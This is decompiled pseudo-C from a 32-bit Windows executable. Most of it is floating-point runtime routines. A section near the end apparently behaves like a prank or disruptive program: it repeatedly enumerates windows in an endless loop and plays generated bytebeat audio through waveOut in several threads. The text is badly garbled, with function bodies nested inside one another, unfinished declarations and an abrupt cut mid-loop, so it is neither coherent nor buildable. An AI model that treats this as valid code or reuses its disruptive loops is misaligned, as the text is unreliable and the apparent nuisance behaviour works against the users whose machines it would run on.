if (*reinterpret_cast<unsigned char*>(&v16) & 1) {
eax17 = eax17 | 0x80000000;
v19 = eax17;
}
v16 = v16 >> 1;
--ecx;
} while (ecx);
}
__asm__("fld qword [ebp-0x10]");
if (edx11) {
__asm__("fchs ");
}
} else {
__asm__("fmulp st1, st0");
edi8 = 1;
}
__asm__("fstp qword [eax]");
}
if (edi8) {
fun_409f4c(ecx, 16);
ecx = reinterpret_cast<void**>(16);
}
esi6 = esi6 & 0xfffffffd;
}
} else {
fun_409f4c(ecx, 8);
ecx = reinterpret_cast<void**>(0xc00);
eax20 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(a4) &
reinterpret_cast<unsigned char>(0xc00));
if (!eax20) {
ecx = a3;
__asm__("fldz ");
__asm__("fcomp qword [ecx]");
if (__intrinsic()) {
addr_40c179_28:
__asm__("fld qword [0x412d90]");
goto addr_40c17f_29;
} else {
addr_40c171_30:
__asm__("fld qword [0x412d90]");
goto addr_40c181_31;
}
} else {
if (eax20 == 0x400) {
ecx = a3;
__asm__("fldz ");
__asm__("fcomp qword [ecx]");
if (__intrinsic())
goto addr_40c179_28;
__asm__("fld qword [0x412d98]");
goto addr_40c181_31;
}
if (eax20 == 0x800)
goto addr_40c137_36; else
goto addr_40c11d_37;
}
}
} else {
fun_409f4c(ecx, 4);
ecx = reinterpret_cast<void**>(4);
esi6 = esi6 & 0xfffffffb;
}
} else {
fun_409f4c(ecx, 1);
ecx = reinterpret_cast<void**>(1);
esi6 = esi6 & 0xfffffff7;
}
addr_40c25f_40:
if (*reinterpret_cast<unsigned char*>(&ebx5) & 16 && *reinterpret_cast<unsigned
char*>(&a4) & 32) {
fun_409f4c(ecx, 32);
esi6 = esi6 & 0xffffffef;
}
eax21 = 0;
*reinterpret_cast<unsigned char*>(&eax21) = reinterpret_cast<uint1_t>(esi6 == 0);
return eax21;
addr_40c17f_29:
__asm__("fchs ");
goto addr_40c181_31;
addr_40c137_36:
ecx = a3;
__asm__("fldz ");
__asm__("fcomp qword [ecx]");
if (!__intrinsic())
goto addr_40c171_30;
__asm__("fld qword [0x412d98]");
goto addr_40c17f_29;
addr_40c11d_37:
if (!reinterpret_cast<int1_t>(eax20 == 0xc00)) {
addr_40c183_44:
esi6 = esi6 & 0xfffffffe;
goto addr_40c25f_40;
} else {
ecx = a3;
__asm__("fldz ");
__asm__("fcomp qword [ecx]");
__asm__("fld qword [0x412d98]");
if (!__intrinsic()) {
addr_40c181_31:
__asm__("fstp qword [ecx]");
goto addr_40c183_44;
} else {
goto addr_40c17f_29;
}
}
}
struct s93 {
signed char[16] pad16;
int32_t* f10;
};
v2 = *ebp3->f10;
fun_407c5b(v2);
return;
}
uint32_t fun_407c7e(void** ecx, void** a2, void** a3, void** a4, void** a5) {
int1_t cf6;
int32_t edi7;
uint32_t ebx8;
void** edi9;
void** esi10;
void** ebx11;
void** ebp12;
void** eax13;
void** eax14;
uint32_t eax15;
void** eax16;
void** esi17;
int32_t v18;
void** esi19;
int32_t fun_40bd54(int32_t a1, void** a2, int32_t a3, void** a4, void* a5) {
int32_t eax6;
int16_t ax7;
int16_t fpu_status_word8;
int16_t ax9;
int16_t fpu_status_word10;
int16_t ax11;
int16_t fpu_status_word12;
int16_t ax13;
int16_t fpu_status_word14;
unsigned char fun_40c7c8(void** a1, void** a2, void** a3, void** a4) {
uint32_t ecx5;
uint16_t ax6;
uint32_t ecx7;
uint32_t ecx8;
uint32_t eax9;
uint32_t ecx10;
uint32_t eax11;
uint32_t ecx12;
uint32_t eax13;
uint32_t eax14;
uint32_t eax15;
uint32_t eax16;
int32_t v17;
int32_t eax18;
void fun_40c282(void** a1, void** a2, void** a3, uint32_t a4, void** a5, void** a6) {
fun_40c2a5(a1, a2, a3, a4, a5, a6, 0);
return;
}
__asm__("fclex ");
return static_cast<int32_t>(fpu_status_word2);
}
*reinterpret_cast<uint16_t*>(&eax3) =
reinterpret_cast<uint16_t>(*reinterpret_cast<uint16_t*>(reinterpret_cast<int32_t>(&a2) + 2) &
0x7ff0);
if (*reinterpret_cast<uint16_t*>(&eax3) != 0x7ff0) {
__asm__("fld qword [ebp+0x8]");
} else {
eax3 = a2;
__asm__("shld eax, ebx, 0xb");
__asm__("fld tword [ebp-0xa]");
}
return eax3;
}
struct s94 {
signed char[12] pad12;
signed char fc;
};
struct s95 {
signed char[14] pad14;
signed char fe;
};
struct s96 {
int32_t f0;
int32_t f4;
};
struct s97 {
signed char[8] pad8;
int32_t f8;
};
struct s98 {
int32_t f0;
int32_t f4;
};
struct s99 {
int32_t f0;
int32_t f4;
};
struct s100 {
signed char[16] pad16;
int32_t f10;
};
struct s101 {
int32_t f0;
int32_t f4;
};
eax2 = fun_40b645();
v3 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(__zero_stack_offset()) + 4);
__asm__("wait ");
__asm__("fnstcw word [esp]");
if (zf4) {
if (reinterpret_cast<unsigned char>(eax2) & 0xfffff || a1) {
addr_40d1a0_4:
return eax2;
} else {
__asm__("fstp st0");
__asm__("fld tword [0x412320]");
eax2 = reinterpret_cast<void**>(1);
zf5 = g417278 == 0;
if (!zf5) {
addr_40b69e_6:
if (v3 != 0x27f) {
__asm__("fldcw word [esp]");
}
} else {
eax2 = fun_40b7a7("sin", v3);
goto addr_40d1a0_4;
}
}
return eax2;
}
if (v3 != 0x27f) {
__asm__("fldcw word [0x412368]");
}
__asm__("fsin ");
__asm__("wait ");
*reinterpret_cast<void**>(&eax2) = fpu_status_word6;
if (*reinterpret_cast<int1_t*>(&eax2 + 1)) {
__asm__("fld tword [0x41236a]");
__asm__("fxch st0, st1");
do {
__asm__("fprem1 ");
__asm__("wait ");
*reinterpret_cast<void**>(&eax2) = fpu_status_word7;
} while (*reinterpret_cast<int1_t*>(&eax2 + 1));
__asm__("fstp st1");
__asm__("fsin ");
}
zf8 = g417278 == 0;
if (!zf8)
goto addr_40b69e_6;
*reinterpret_cast<void**>(&eax2) = v3;
if (*reinterpret_cast<void**>(&eax2) != 0x27f)
goto addr_40b6b5_19;
addr_40b6d3_20:
return eax2;
addr_40b6b5_19:
*reinterpret_cast<void**>(&eax2) =
reinterpret_cast<void*>(reinterpret_cast<uint16_t>(*reinterpret_cast<void**>(&eax2)) & 32);
if (!*reinterpret_cast<void**>(&eax2) || (*reinterpret_cast<void**>(&eax2) =
reinterpret_cast<void*>(fpu_status_word9 & 32), *reinterpret_cast<void**>(&eax2) == 0)) {
__asm__("fldcw word [esp]");
goto addr_40b6d3_20;
} else {
eax10 = fun_40b7a7("sin", v3);
return eax10;
}
}
struct s102 {
int32_t f0;
int32_t f4;
};
struct s103 {
signed char[4] pad4;
int32_t f4;
};
struct s104 {
int32_t f0;
int32_t f4;
};
struct s105 {
signed char[4] pad4;
int32_t f4;
};
struct s106 {
int32_t f0;
int32_t f4;
};
struct s107 {
int32_t f0;
int32_t f4;
};
v2 = edx3;
__asm__("wait ");
__asm__("fnstcw word [esp]");
if (zf4) {
if (eax5 & 0xfffff || a1) {
addr_40d1a0_3:
return eax6;
} else {
__asm__("fstp st0");
__asm__("fld tword [0x412320]");
eax7 = reinterpret_cast<void**>(1);
zf8 = g417278 == 0;
if (!zf8) {
addr_40b69e_5:
if (v2 != 0x27f) {
__asm__("fldcw word [esp]");
}
} else {
eax6 = fun_40b7a7("sin", v2);
goto addr_40d1a0_3;
}
}
return eax7;
}
if (v2 != 0x27f) {
__asm__("fldcw word [0x412368]");
}
__asm__("fsin ");
__asm__("wait ");
*reinterpret_cast<int16_t*>(&eax7) = fpu_status_word9;
if (*reinterpret_cast<int1_t*>(&eax7 + 1)) {
__asm__("fld tword [0x41236a]");
__asm__("fxch st0, st1");
do {
__asm__("fprem1 ");
__asm__("wait ");
*reinterpret_cast<int16_t*>(&eax7) = fpu_status_word10;
} while (*reinterpret_cast<int1_t*>(&eax7 + 1));
__asm__("fstp st1");
__asm__("fsin ");
}
zf11 = g417278 == 0;
if (!zf11)
goto addr_40b69e_5;
*reinterpret_cast<void**>(&eax12) = v2;
if (*reinterpret_cast<void**>(&eax12) != 0x27f)
goto addr_40b6b5_18;
addr_40b6d3_19:
return eax12;
addr_40b6b5_18:
*reinterpret_cast<void**>(&eax12) =
reinterpret_cast<void*>(reinterpret_cast<uint16_t>(*reinterpret_cast<void**>(&eax12)) & 32);
if (!*reinterpret_cast<void**>(&eax12) || (*reinterpret_cast<void**>(&eax12) =
reinterpret_cast<void*>(fpu_status_word13 & 32), *reinterpret_cast<void**>(&eax12) == 0)) {
__asm__("fldcw word [esp]");
goto addr_40b6d3_19;
} else {
eax14 = fun_40b7a7("sin", v2);
return eax14;
}
}
void** fun_405701(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8) {
void** tmp32_9;
void** ebp10;
void** eax11;
if (!a2 || a2 == 1) {
tmp32_9 = g416dc8;
g416dc8 = a2;
return tmp32_9;
} else {
eax11 = fun_4060e8(ecx, ebp10, __return_address(), a2, a3, a4, a5, a6, a7, a8);
*reinterpret_cast<void***>(eax11) = reinterpret_cast<void**>(22);
fun_40602c(ecx, ebp10, __return_address(), a2, a3);
return 0xffffffff;
}
}
signed char fun_40880b(void** ecx, void** a2, void** a3, void** a4, void** a5) {
void** v6;
void** v7;
void** ebp8;
void*** ebp9;
uint32_t eax10;
void** v11;
void** edi12;
void** esi13;
void** ebx14;
signed char al15;
struct s33* esi16;
void* ebx17;
void** eax18;
v6 = reinterpret_cast<void**>(__return_address());
v7 = ebp8;
ebp9 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);
eax10 = g416004;
v11 = reinterpret_cast<void**>(eax10 ^ reinterpret_cast<uint32_t>(ebp9));
edi12 = a2;
if (edi12 != a3) {
esi13 = edi12;
do {
ebx14 = *reinterpret_cast<void***>(esi13);
if (!ebx14)
continue;
image_base_(ebx14);
al15 = reinterpret_cast<signed char>(ebx14(ebx14));
if (!al15)
break;
esi13 = esi13 + 8;
} while (esi13 != a3);
if (esi13 == a3)
goto addr_40884d_7;
} else {
goto addr_40887f_9;
}
if (esi13 != edi12) {
esi16 = reinterpret_cast<struct s33*>(esi13 + 0xfffffffc);
do {
if (*reinterpret_cast<int32_t*>(reinterpret_cast<uint32_t>(esi16) + 0xfffffffc) && (ebx17 =
esi16->f0, !!ebx17)) {
image_base_(ebx17);
ebx17(ebx17);
}
esi16 = reinterpret_cast<struct s33*>(reinterpret_cast<uint32_t>(esi16) - 8);
} while (!reinterpret_cast<int1_t>(&esi16->f4 == edi12));
}
addr_40887d_16:
addr_40887f_9:
eax18 = fun_402f62(reinterpret_cast<unsigned char>(v11) ^
reinterpret_cast<uint32_t>(ebp9), v11, v7, v6, a2, a3, a4, a5);
return *reinterpret_cast<signed char*>(&eax18);
addr_40884d_7:
goto addr_40887d_16;
}
int32_t fun_405736(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void**
a16, void** a17, void** a18, void** a19);
int32_t fun_405800(void** a1, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10) {
void*** ebp11;
void** v12;
void** ebp13;
int32_t eax14;
struct s108 {
signed char[8] pad8;
void*** f8;
};
struct s109 {
signed char[12] pad12;
void** fc;
};
void fun_405787(void** ecx, void** a2, void* a3, void* a4, int32_t a5, int32_t a6) {
void** v7;
int32_t ebp8;
void** v9;
struct s108* ebp10;
int32_t ebp11;
void** ecx12;
struct s109* ebp13;
void** eax14;
int32_t ebp15;
int32_t ebp16;
v7 = reinterpret_cast<void**>(__return_address());
fun_4038a0(ecx, 0x414928, 12, v7);
*reinterpret_cast<uint32_t*>(ebp8 - 28) = 0;
v9 = *ebp10->f8;
fun_407a92(ecx, v9);
*reinterpret_cast<uint32_t*>(ebp11 - 4) = 0;
ecx12 = ebp13->fc;
eax14 = fun_405828(ecx12, 0x414928, 12, v7);
*reinterpret_cast<void***>(ebp15 - 28) = eax14;
*reinterpret_cast<int32_t*>(ebp16 - 4) = -2;
fun_4057cc(ecx12);
fun_4038f0(ecx12, 0x414928, 12, v7, a2);
goto 0x414928;
}
struct s110 {
signed char[8] pad8;
void*** f8;
};
struct s111 {
signed char[12] pad12;
void** fc;
};
int32_t fun_405736(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void**
a16, void** a17, void** a18, void** a19) {
int32_t ebp20;
void** v21;
struct s110* ebp22;
int32_t ebp23;
void** ecx24;
struct s111* ebp25;
uint32_t eax26;
int32_t ebp27;
int32_t ebp28;
struct s112 {
signed char[16] pad16;
void*** f10;
};
v2 = *ebp3->f10;
fun_407ada(v2);
return;
}
struct s113 {
signed char[8] pad8;
void*** f8;
};
struct s115 {
signed char[72] pad72;
int32_t* f48;
};
struct s114 {
signed char[12] pad12;
struct s115*** fc;
};
void fun_4066e8(void** ecx, void** a2, void* a3, void* a4, int32_t a5, int32_t a6) {
void** v7;
struct s113* ebp8;
int32_t ebp9;
struct s114* ebp10;
int32_t ebp11;
void fun_40897c() {
fun_407ada(0);
return;
}
struct s116 {
signed char[16] pad16;
void*** f10;
};
v2 = *ebp3->f10;
fun_407ada(v2);
return;
}
int32_t fun_408985(void** ecx, void** a2, void* a3, void* a4, int32_t a5, int32_t a6);
v5 = reinterpret_cast<void**>(__return_address());
v6 = ebp7;
ebp8 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);
eax9 = g416004;
v10 = reinterpret_cast<void**>(eax9 ^ reinterpret_cast<uint32_t>(ebp8));
v11 = ecx;
v12 = ebx13;
ebx14 = *reinterpret_cast<void***>(*reinterpret_cast<void***>(ecx));
if (ebx14) {
edx15 = g416004;
v16 = esi17;
v18 = edi19;
ebx20 = *reinterpret_cast<void***>(ebx14 + 4);
esi21 = reinterpret_cast<void**>(edx15 & 31);
edi22 = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(ebx14)) ^ edx15);
v23 = esi21;
ebx24 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(ebx20) ^ edx15);
__asm__("ror edi, cl");
__asm__("ror ebx, cl");
if (!edi22 || edi22 == 0xffffffff) {
addr_405935_3:
} else {
v25 = edi22;
v26 = ebx24;
while (1) {
do {
ecx27 = reinterpret_cast<void**>(32 - reinterpret_cast<unsigned char>(esi21));
__asm__("ror eax, cl");
eax28 = reinterpret_cast<void**>(edx15);
do {
ebx24 = ebx24 - 4;
if (reinterpret_cast<unsigned char>(ebx24) < reinterpret_cast<unsigned
char>(edi22))
goto addr_4058f8_8;
} while (*reinterpret_cast<void***>(ebx24) == eax28);
esi29 = reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(ebx24)) ^
edx15;
__asm__("ror esi, cl");
*reinterpret_cast<void***>(ebx24) = eax28;
image_base_(esi29);
esi29(esi29);
edx15 = g416004;
esi21 = reinterpret_cast<void**>(edx15 & 31);
v23 = esi21;
eax30 =
*reinterpret_cast<void***>(*reinterpret_cast<void***>(*reinterpret_cast<void***>(v11)) + 4);
v31 = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(*reinterpret_cast<void***>(*reinterpret_cast<void***>(v11)))) ^
edx15);
eax32 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(eax30) ^
edx15);
__asm__("ror dword [ebp-0x8], cl");
__asm__("ror eax, cl");
ecx33 = v31;
if (ecx33 != v25)
break;
} while (eax32 == v26);
goto addr_4058e9_12;
addr_4058ec_13:
v25 = ecx33;
edi22 = ecx33;
v26 = eax32;
ebx24 = eax32;
continue;
addr_4058e9_12:
ecx33 = v31;
goto addr_4058ec_13;
}
addr_4058f8_8:
if (edi22 == 0xffffffff)
goto addr_40590a_14; else
goto addr_4058fd_15;
}
}
eax34 = fun_402f62(reinterpret_cast<unsigned char>(v10) ^
reinterpret_cast<uint32_t>(ebp8), v11, v23, v26, v25, v31, v10, v6);
return eax34;
addr_40590a_14:
__asm__("ror edx, cl");
edx35 = reinterpret_cast<void**>(g416004);
*reinterpret_cast<void***>(*reinterpret_cast<void***>(*reinterpret_cast<void***>(v11))) =
edx35;
*reinterpret_cast<void***>(*reinterpret_cast<void***>(*reinterpret_cast<void***>(v11)) + 4) =
edx35;
*reinterpret_cast<void***>(*reinterpret_cast<void***>(*reinterpret_cast<void***>(v11)) + 8) =
edx35;
goto addr_405935_3;
addr_4058fd_15:
fun_406c46(ecx27, edi22, v18, *reinterpret_cast<void***>(&v16), v12, v11, v23, v26, v25,
v31, v10, v6, v5, a2, a3, a4);
goto addr_40590a_14;
}
struct s117 {
signed char[16] pad16;
void*** f10;
};
v2 = *ebp3->f10;
fun_407ada(v2);
return;
}
struct s118 {
signed char[16] pad16;
void*** f10;
};
v2 = *ebp3->f10;
fun_407ada(v2);
return;
}
struct s119 {
signed char[16] pad16;
void*** f10;
};
v2 = *ebp3->f10;
fun_407ada(v2);
return;
}
struct s120 {
signed char[8] pad8;
void*** f8;
};
uint32_t g417260;
void fun_4089d3();
int32_t fun_408985(void** ecx, void** a2, void* a3, void* a4, int32_t a5, int32_t a6) {
int32_t ebp7;
void** v8;
struct s120* ebp9;
int32_t ebp10;
uint32_t esi11;
uint32_t esi12;
int32_t ebp13;
int32_t ebp14;
struct s121 {
signed char[16] pad16;
void*** f10;
};
void fun_4089d3() {
void** v1;
struct s121* ebp2;
v1 = *ebp2->f10;
fun_407ada(v1);
return;
}
int32_t GetSystemMetrics = 0x14f64;
void fun_401000() {
GetSystemMetrics();
goto 0;
}
void fun_403a60() {
int32_t ebp1;
int32_t eax2;
int32_t edx3;
int32_t ebp4;
int32_t edx5;
uint32_t eax6;
int32_t ebp7;
uint32_t eax8;
uint32_t eax9;
unsigned char bl10;
uint32_t ebx11;
int32_t ebp12;
void fun_408ef6() {
uint32_t edi1;
int32_t edi2;
uint32_t eax3;
void** ecx4;
uint32_t edx5;
uint32_t edx6;
uint32_t eax7;
uint32_t eax8;
void** eax9;
int32_t esi10;
uint32_t eax11;
void fun_408fbe() {
__asm__("hlt ");
}
void fun_409ec1() {
int32_t ebp1;
int32_t ebp2;
void fun_409efa() {
int32_t ebx1;
goto ebx1;
}
void fun_409f0b() {
}
struct s122 {
uint16_t f0;
signed char[2] pad4;
uint32_t f4;
};
void fun_40aac1() {
struct s122* esp1;
int1_t zf2;
struct s123 {
uint16_t f0;
signed char[2] pad4;
uint32_t f4;
};
struct s124 {
int32_t f0;
int32_t f4;
void** f8;
};
struct s125 {
int32_t f0;
int32_t f4;
};
void fun_40aafd() {
struct s123* esp1;
int1_t zf2;
void* esp3;
int32_t* esp4;
struct s124* esp5;
struct s125* esp6;
int32_t ebp7;
struct s126 {
uint16_t f0;
signed char[2] pad4;
uint32_t f4;
int32_t f8;
};
struct s127 {
int32_t f0;
int32_t f4;
signed char[6] pad14;
uint16_t fe;
};
struct s128 {
int32_t f0;
void** f4;
signed char[3] pad8;
void** f8;
};
struct s129 {
int32_t f0;
uint32_t f4;
uint32_t f8;
};
struct s130 {
int32_t f0;
void** f4;
signed char[3] pad8;
void** f8;
};
struct s131 {
int32_t f0;
void** f4;
signed char[3] pad8;
void** f8;
};
struct s132 {
int32_t f0;
void** f4;
signed char[3] pad8;
uint32_t f8;
};
struct s133 {
int32_t f0;
int32_t f4;
int32_t f8;
int32_t fc;
};
struct s134 {
int32_t f0;
void* f4;
void* f8;
void* fc;
int32_t f10;
};
void fun_40cb90() {
uint32_t eax1;
struct s136 {
signed char[1] pad1;
int32_t f1;
};
struct s137 {
int32_t f0;
int32_t f4;
};
struct s138 {
signed char[1] pad1;
int32_t f1;
};
struct s139 {
uint16_t f0;
signed char[2] pad4;
uint32_t f4;
int32_t f8;
};
struct s140 {
int32_t f0;
int32_t f4;
};
struct s141 {
int32_t f0;
int32_t f4;
};
struct s142 {
int32_t f0;
int32_t f4;
};
struct s143 {
int32_t f0;
int32_t f4;
};
struct s144 {
int32_t f0;
int32_t f4;
};
void fun_40cc24() {
struct s135* edi1;
struct s136* edi2;
struct s137* esi3;
struct s138* esi4;
struct s139* esp5;
uint32_t eax6;
int1_t zf7;
int32_t* esp8;
uint16_t ax9;
struct s140* edi10;
struct s141* esi11;
struct s142* edi12;
struct s143* esi13;
struct s144* esp14;
void fun_40d091() {
struct s145* esp1;
int1_t zf2;
struct s146 {
uint16_t f0;
signed char[2] pad4;
uint32_t f4;
};
struct s147 {
int32_t f0;
int32_t f4;
};
struct s148 {
int32_t f0;
int32_t f4;
};
struct s149 {
int32_t f0;
int32_t f4;
};
void fun_40d0cd() {
struct s146* esp1;
int1_t zf2;
void* esp3;
int32_t* esp4;
struct s147* esp5;
struct s148* esp6;
int32_t ebp7;
struct s149* esp8;
void fun_401010() {
GetSystemMetrics();
goto 1;
}
void fun_4015f0() {
int32_t v1;
int32_t v2;
int32_t esi3;
int32_t esi4;
int32_t v5;
int32_t edi6;
int32_t edi7;
v1 = reinterpret_cast<int32_t>(__return_address());
v2 = esi3;
esi4 = Sleep;
v5 = edi6;
edi7 = EnumWindows;
while (1) {
edi7(fun_401590, 0, v5, v2, v1);
esi4(0x3e8, fun_401590, 0, v5, v2, v1);
}
}
int32_t g10b;
struct s150 {
signed char[12] pad12;
int32_t fc;
};
struct s152 {
signed char[12] pad12;
int32_t fc;
};
struct s153 {
signed char[12] pad12;
int32_t fc;
};
struct s154 {
signed char[12] pad12;
int32_t fc;
};
void** g417284;
void** g417280;
ebx2 = a1;
esp3 =
reinterpret_cast<void*>((reinterpret_cast<uint32_t>(reinterpret_cast<int32_t>(__zero_stack_offs
et()) - 4) & 0xfffffff8) - 68 - 4 - 4 - 4 - 4 - 4 - 4 - 4 - 4);
waveOutOpen(reinterpret_cast<uint32_t>(esp3) + 40);
eax4 = reinterpret_cast<int32_t>(GetProcessHeap());
eax5 = reinterpret_cast<void*>(HeapAlloc(eax4));
esp6 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp3) - 4 - 4 + 4 - 4 - 4 - 4 + 4 - 4 -
4 + 4);
esi7 = ebx2->fc;
edx8 = 0;
edi9 = eax5;
if (esi7 * 0x1f40) {
do {
ecx10 = (reinterpret_cast<int32_t>(edx8) >> 3) + 5;
ebx11 = reinterpret_cast<int32_t>(edx8) >> 4 >> *reinterpret_cast<signed
char*>(&ecx10);
ebx2 = reinterpret_cast<struct s69*>(0xff);
ecx12 = *reinterpret_cast<signed char*>(&ebx11) * *reinterpret_cast<signed
char*>(&edx8);
*reinterpret_cast<signed char*>(edx8 + reinterpret_cast<uint32_t>(edi9)) =
*reinterpret_cast<signed char*>(&ecx12);
++edx8;
esi7 = g10b;
} while (edx8 < esi7 * 0x1f40);
}
esp13 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp6) - 4);
waveOutPrepareHeader(0xff);
esp14 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp13) - 4 - 4 - 4 + 4 - 4);
waveOutWrite(0);
esp15 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp14) - 4 - 4 - 4 + 4 - 4);
v16 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp15) + 28);
waveOutUnprepareHeader(reinterpret_cast<uint32_t>(esp13) + 28, v16, 32, 0);
waveOutClose(reinterpret_cast<uint32_t>(esp14) + 28, reinterpret_cast<uint32_t>(esp13) +
28, v16, 32, 0);
v17 = ebx2->fc * 0x3e8;
Sleep(v17, reinterpret_cast<uint32_t>(esp14) + 28, reinterpret_cast<uint32_t>(esp13) + 28,
v16, 32, 0);
eax18 = reinterpret_cast<struct s150*>(GetProcessHeap(0, edi9, v17,
reinterpret_cast<uint32_t>(esp14) + 28, reinterpret_cast<uint32_t>(esp13) + 28, v16, 32, 0));
HeapFree();
ExitThread(0);
ebx19 = eax18;
esp20 = reinterpret_cast<void*>((reinterpret_cast<uint32_t>(esp15) - 4 - 4 - 4 + 4 - 4 - 4 + 4 -
4 - 4 + 4 - 4 - 4 - 4 + 4 - 4 - 4 + 4 - 4 - 4 + 4 - 4 & 0xfffffff8) - 60 - 4 - 4 - 4 - 4 - 4 - 4);
esp21 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp20) - 4 - 4);
waveOutOpen(reinterpret_cast<uint32_t>(esp21) + 32, 0xff,
reinterpret_cast<uint32_t>(esp20) + 60, 0, 0, 0, edi9, esi7, ebx2, 0);
v22 = ebx19->fc * 0x1f40;
eax23 = reinterpret_cast<int32_t>(GetProcessHeap(0));
eax24 = reinterpret_cast<void*>(HeapAlloc(eax23, 0));
esp25 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp21) - 4 - 4 + 4 - 4 - 4 - 4 + 4 -
4 - 4 + 4);
esi26 = ebx19->fc;
ecx27 = 0;
edi28 = eax24;
if (esi26 * 0x1f40) {
do {
edx29 = reinterpret_cast<int32_t>(ecx27) >> 7;
edx30 = reinterpret_cast<signed char>(reinterpret_cast<unsigned
char>(*reinterpret_cast<unsigned char*>(&edx29) | *reinterpret_cast<unsigned char*>(&ecx27))
| 5) * *reinterpret_cast<signed char*>(&ecx27);
*reinterpret_cast<signed char*>(ecx27 + reinterpret_cast<uint32_t>(edi28)) =
*reinterpret_cast<signed char*>(&edx30);
++ecx27;
esi26 = ebx19->fc;
} while (ecx27 < esi26 * 0x1f40);
}
esp31 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp25) - 4);
waveOutPrepareHeader(v22, reinterpret_cast<uint32_t>(esp31) + 20);
esp32 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp31) - 4 - 4 - 4 + 4 - 4);
waveOutWrite(32, reinterpret_cast<uint32_t>(esp32) + 20);
esp33 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp32) - 4 - 4 - 4 + 4 - 4);
v34 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp33) + 20);
waveOutUnprepareHeader(32, v34);
waveOutClose(32, 32, v34);
v35 = ebx19->fc * 0x3e8;
Sleep(v35, 32, 32, v34);
eax36 = reinterpret_cast<struct s151*>(GetProcessHeap(0, edi28, v35, 32, 32, v34));
HeapFree();
ExitThread(0);
ebx37 = eax36;
esp38 = reinterpret_cast<void*>((reinterpret_cast<uint32_t>(esp33) - 4 - 4 - 4 + 4 - 4 - 4 + 4 -
4 - 4 + 4 - 4 - 4 - 4 + 4 - 4 - 4 + 4 - 4 - 4 + 4 - 4 & 0xfffffff8) - 60 - 4 - 4 - 4 - 4 - 4 - 4);
esp39 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp38) - 4 - 4);
waveOutOpen(reinterpret_cast<uint32_t>(esp39) + 32, 0xff,
reinterpret_cast<uint32_t>(esp38) + 60, 0, 0, 0, edi28, esi26, ebx19, 0);
v40 = ebx37->fc * 0x1f40;
eax41 = reinterpret_cast<int32_t>(GetProcessHeap(0));
eax42 = reinterpret_cast<void*>(HeapAlloc(eax41, 0));
esp43 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp39) - 4 - 4 + 4 - 4 - 4 - 4 + 4 -
4 - 4 + 4);
esi44 = ebx37->fc;
ecx45 = 0;
edi46 = eax42;
if (esi44 * 0x1f40) {
do {
edx47 = reinterpret_cast<int32_t>(ecx45) >> 7;
eax48 = reinterpret_cast<int32_t>(ecx45) >> 6;
edx49 = reinterpret_cast<signed char>(*reinterpret_cast<unsigned char*>(&edx47) |
*reinterpret_cast<unsigned char*>(&eax48)) * *reinterpret_cast<signed char*>(&ecx45);
*reinterpret_cast<signed char*>(ecx45 + reinterpret_cast<uint32_t>(edi46)) =
*reinterpret_cast<signed char*>(&edx49);
++ecx45;
esi44 = ebx37->fc;
} while (ecx45 < esi44 * 0x1f40);
}
esp50 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp43) - 4);
waveOutPrepareHeader(v40, reinterpret_cast<uint32_t>(esp50) + 20);
esp51 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp50) - 4 - 4 - 4 + 4 - 4);
waveOutWrite(32, reinterpret_cast<uint32_t>(esp51) + 20);
esp52 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp51) - 4 - 4 - 4 + 4 - 4);
v53 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp52) + 20);
waveOutUnprepareHeader(32, v53);
waveOutClose(32, 32, v53);
v54 = ebx37->fc * 0x3e8;
Sleep(v54, 32, 32, v53);
eax55 = reinterpret_cast<struct s152*>(GetProcessHeap(0, edi46, v54, 32, 32, v53));
HeapFree();
ExitThread(0);
ebx56 = eax55;
esp57 = reinterpret_cast<void*>((reinterpret_cast<uint32_t>(esp52) - 4 - 4 - 4 + 4 - 4 - 4 + 4 -
4 - 4 + 4 - 4 - 4 - 4 + 4 - 4 - 4 + 4 - 4 - 4 + 4 - 4 & 0xfffffff8) - 60 - 4 - 4 - 4 - 4 - 4 - 4);
esp58 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp57) - 4 - 4);
waveOutOpen(reinterpret_cast<uint32_t>(esp58) + 32, 0xff,
reinterpret_cast<uint32_t>(esp57) + 60, 0, 0, 0, edi46, esi44, ebx37, 0);
v59 = ebx56->fc * 0x1f40;
eax60 = reinterpret_cast<int32_t>(GetProcessHeap(0));
eax61 = reinterpret_cast<void*>(HeapAlloc(eax60, 0));
esp62 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp58) - 4 - 4 + 4 - 4 - 4 - 4 + 4 -
4 - 4 + 4);
esi63 = ebx56->fc;
ecx64 = 0;
edi65 = eax61;
if (esi63 * 0x1f40) {
do {
